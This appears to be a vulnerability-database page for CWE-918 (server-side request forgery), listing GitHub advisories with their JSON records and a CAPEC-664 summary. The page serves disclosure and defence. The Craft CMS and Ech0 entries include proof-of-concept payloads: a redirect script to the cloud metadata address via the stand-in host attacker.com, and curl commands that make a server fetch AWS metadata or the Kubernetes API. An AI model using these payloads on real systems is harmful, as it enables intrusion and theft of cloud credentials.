Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4745 vulnerabilities reference this CWE, most recent first.

GHSA-8JGX-W564-2R36

Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13
VLAI
Details

eyoucms 1.5.4 lacks sanitization of input data, allowing an attacker to inject a url to trigger blind SSRF via the saveRemote() function.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-39497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-07T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "eyoucms 1.5.4 lacks sanitization of input data, allowing an attacker to inject a url to trigger blind SSRF via the saveRemote() function.",
  "id": "GHSA-8jgx-w564-2r36",
  "modified": "2022-05-24T19:13:06Z",
  "published": "2022-05-24T19:13:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39497"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KietNA-HPT/CVE"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eyoucms/eyoucms/releases/tag/v1.5.4"
    },
    {
      "type": "WEB",
      "url": "http://hptcybersec.com/ssrf_PoC.jpg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8JJ3-GF74-G749

Vulnerability from github – Published: 2022-05-14 03:40 – Updated: 2022-05-14 03:40
VLAI
Details

Citrix NetScaler VPX through NS12.0 53.13.nc allows an SSRF attack via the /rapi/read_url URI by an authenticated attacker who has a webapp account. The attacker can gain access to the nsroot account, and execute remote commands with root privileges.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-6186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-01T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "Citrix NetScaler VPX through NS12.0 53.13.nc allows an SSRF attack via the /rapi/read_url URI by an authenticated attacker who has a webapp account. The attacker can gain access to the nsroot account, and execute remote commands with root privileges.",
  "id": "GHSA-8jj3-gf74-g749",
  "modified": "2022-05-14T03:40:37Z",
  "published": "2022-05-14T03:40:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6186"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/buxu/04ce809eb8b32ef57e232eab5e61f023"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/article/CTX232161"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102915"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040440"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8JMG-VW84-Q638

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15
VLAI
Details

Server Side Request Forgery (SSRF) vulnerability exists in Discourse 2.3.2 and 2.6 via the email function. When writing an email in an editor, you can upload pictures of remote websites.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-24327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-23T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Server Side Request Forgery (SSRF) vulnerability exists in Discourse 2.3.2 and 2.6 via the email function. When writing an email in an editor, you can upload pictures of remote websites.",
  "id": "GHSA-8jmg-vw84-q638",
  "modified": "2022-05-24T19:15:30Z",
  "published": "2022-05-24T19:15:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/purple-WL/Discourse-sending-email-function-exist-Server-side-request-forgery-SSRF-/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/discourse/discourse/pull/10509"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8JR8-7HR4-VHFX

Vulnerability from github – Published: 2026-02-09 20:35 – Updated: 2026-02-09 22:38
VLAI
Summary
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Details

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

Proof of Concept

  1. Host a redirect script on your server (e.g. redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The application validates attacker.com (passes)
  2. Guzzle follows the redirect to 169.254.169.254
  3. Cloud metadata is saved as an asset

Mitigation

  • Disable redirects.
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.21"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.16.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:35:30Z",
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n\u003c?php header(\"Location: http://169.254.169.254/latest/meta-data/\"); ?\u003e\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.",
  "id": "GHSA-8jr8-7hr4-vhfx",
  "modified": "2026-02-09T22:38:33Z",
  "published": "2026-02-09T20:35:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect"
}

GHSA-8JRJ-57GQ-475G

Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2023-01-31 18:30
VLAI
Details

** DISPUTED ** Prometheus Blackbox Exporter through 0.17.0 allows /probe?target= SSRF. NOTE: follow-on discussion suggests that this might plausibly be interpreted as both intended functionality and also a vulnerability.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2020-16248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-09T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "** DISPUTED ** Prometheus Blackbox Exporter through 0.17.0 allows /probe?target= SSRF. NOTE: follow-on discussion suggests that this might plausibly be interpreted as both intended functionality and also a vulnerability.",
  "id": "GHSA-8jrj-57gq-475g",
  "modified": "2023-01-31T18:30:23Z",
  "published": "2022-05-24T17:25:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/blackbox_exporter/issues/669"
    },
    {
      "type": "WEB",
      "url": "https://prometheus.io/docs/operating/security/#exporters"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/oss-sec/2020/q3/94"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2020/08/08/12"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2020/08/08/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8JXC-5F94-22VH

Vulnerability from github – Published: 2023-10-13 09:30 – Updated: 2025-03-04 18:20
VLAI
Summary
Magento Open Source allows Server-Side Request Forgery (SSRF)
Details

Adobe Commerce versions 2.4.7-beta1 (and earlier), 2.4.6-p2 (and earlier), 2.4.5-p4 (and earlier) and 2.4.4-p5 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. A high-privileged authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction, scope is changed due to the fact that an attacker can enforce file read outside the application's path boundary.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
5.6 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:U
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.7-beta1"
            },
            {
              "fixed": "2.4.7-beta2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.4.7-beta1"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.7"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.6-p1"
            },
            {
              "fixed": "2.4.6-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.4-p1"
            },
            {
              "fixed": "2.4.4-p6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/project-community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-04T18:20:03Z",
    "nvd_published_at": "2023-10-13T07:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Commerce versions 2.4.7-beta1 (and earlier), 2.4.6-p2 (and earlier), 2.4.5-p4 (and earlier) and 2.4.4-p5 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. A high-privileged authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction, scope is changed due to the fact that an attacker can enforce file read outside the application\u0027s path boundary.",
  "id": "GHSA-8jxc-5f94-22vh",
  "modified": "2025-03-04T18:20:03Z",
  "published": "2023-10-13T09:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26366"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb23-50.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source allows Server-Side Request Forgery (SSRF)"
}

GHSA-8M4X-VRFR-VPHQ

Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:52
VLAI
Details

A vulnerability in Cisco TelePresence Video Communication Server (VCS) and Cisco Expressway Series software could allow an unauthenticated, remote attacker to cause an affected system to send arbitrary network requests. The vulnerability is due to improper restrictions on network services in the affected software. An attacker could exploit this vulnerability by sending malicious requests to the affected system. A successful exploit could allow the attacker to send arbitrary network requests sourced from the affected system.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2019-1872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-05T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Cisco TelePresence Video Communication Server (VCS) and Cisco Expressway Series software could allow an unauthenticated, remote attacker to cause an affected system to send arbitrary network requests. The vulnerability is due to improper restrictions on network services in the affected software. An attacker could exploit this vulnerability by sending malicious requests to the affected system. A successful exploit could allow the attacker to send arbitrary network requests sourced from the affected system.",
  "id": "GHSA-8m4x-vrfr-vphq",
  "modified": "2024-04-04T00:52:49Z",
  "published": "2022-05-24T16:47:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1872"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190605-vcs"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108677"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8M92-98P8-GPMH

Vulnerability from github – Published: 2022-04-01 00:00 – Updated: 2022-04-09 00:00
VLAI
Details

SSRF on index.php/cobrowse/proxycss/ in GitHub repository livehelperchat/livehelperchat prior to 3.96.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-1191"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-31T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "SSRF on index.php/cobrowse/proxycss/ in GitHub repository livehelperchat/livehelperchat prior to 3.96.",
  "id": "GHSA-8m92-98p8-gpmh",
  "modified": "2022-04-09T00:00:52Z",
  "published": "2022-04-01T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1191"
    },
    {
      "type": "WEB",
      "url": "https://github.com/livehelperchat/livehelperchat/commit/c41f283a2c1b46c42dd2af16ecbeaedd2fe1f5df"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/7264a2e1-17e7-4244-93e4-49ec14f282b3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MC6-XJPR-H98X

Vulnerability from github – Published: 2026-05-07 21:28 – Updated: 2026-05-07 21:28
VLAI
Summary
Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo
Details

Summary

The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.

Details

In internal/service/connect/connect.go, the fetchPeerConnectInfo function:

func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
    url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
    resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)

This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.

Called from: - Line 307: data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout) - - Line 498: data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)

PoC

# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'

# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
  "https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID

Or for Kubernetes:

curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'

Impact

  • Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
    • CWE-918: Server-Side Request Forgery
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260503040602-091d26d2d942"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:28:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.\n\n## Details\nIn `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function:\n```go\nfunc fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {\n    url := httpUtil.TrimURL(peerConnectURL) + \"/api/connect\"\n    resp, err := httpUtil.SendRequest(url, \"GET\", struct {...}{...}, requestTimeout)\n```\n\nThis uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it.\n\nCalled from:\n- Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)`\n- - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)`\n## PoC\n```bash\n# 1. Add a connection pointing to AWS metadata service\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d \u0027{\"connect_url\": \"http://169.254.169.254/latest/meta-data/instance-id\"}\u0027\n\n# 2. Trigger SSRF via health check\ncurl -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  \"https://ech0.example.com/api/connects/health\"\n# Returns AWS EC2 instance ID\n```\n\nOr for Kubernetes:\n```bash\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -d \u0027{\"connect_url\": \"http://kubernetes.default.svc.cluster.local:443/api\"}\u0027\n```\n\n## Impact\n- **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API\n- - **CWE-918**: Server-Side Request Forgery",
  "id": "GHSA-8mc6-xjpr-h98x",
  "modified": "2026-05-07T21:28:40Z",
  "published": "2026-05-07T21:28:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-8mc6-xjpr-h98x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo"
}

GHSA-8MGM-5XV3-HP87

Vulnerability from github – Published: 2025-09-14 06:30 – Updated: 2025-09-14 06:30
VLAI
Details

A security vulnerability has been detected in CRMEB up to 5.6.1. The impacted element is the function testOutUrl of the file app/services/out/OutAccountServices.php. The manipulation of the argument push_token_url leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-14T05:15:31Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in CRMEB up to 5.6.1. The impacted element is the function testOutUrl of the file app/services/out/OutAccountServices.php. The manipulation of the argument push_token_url leads to server-side request forgery. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8mgm-5xv3-hp87",
  "modified": "2025-09-14T06:30:20Z",
  "published": "2025-09-14T06:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10391"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb015.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.323826"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.323826"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.644582"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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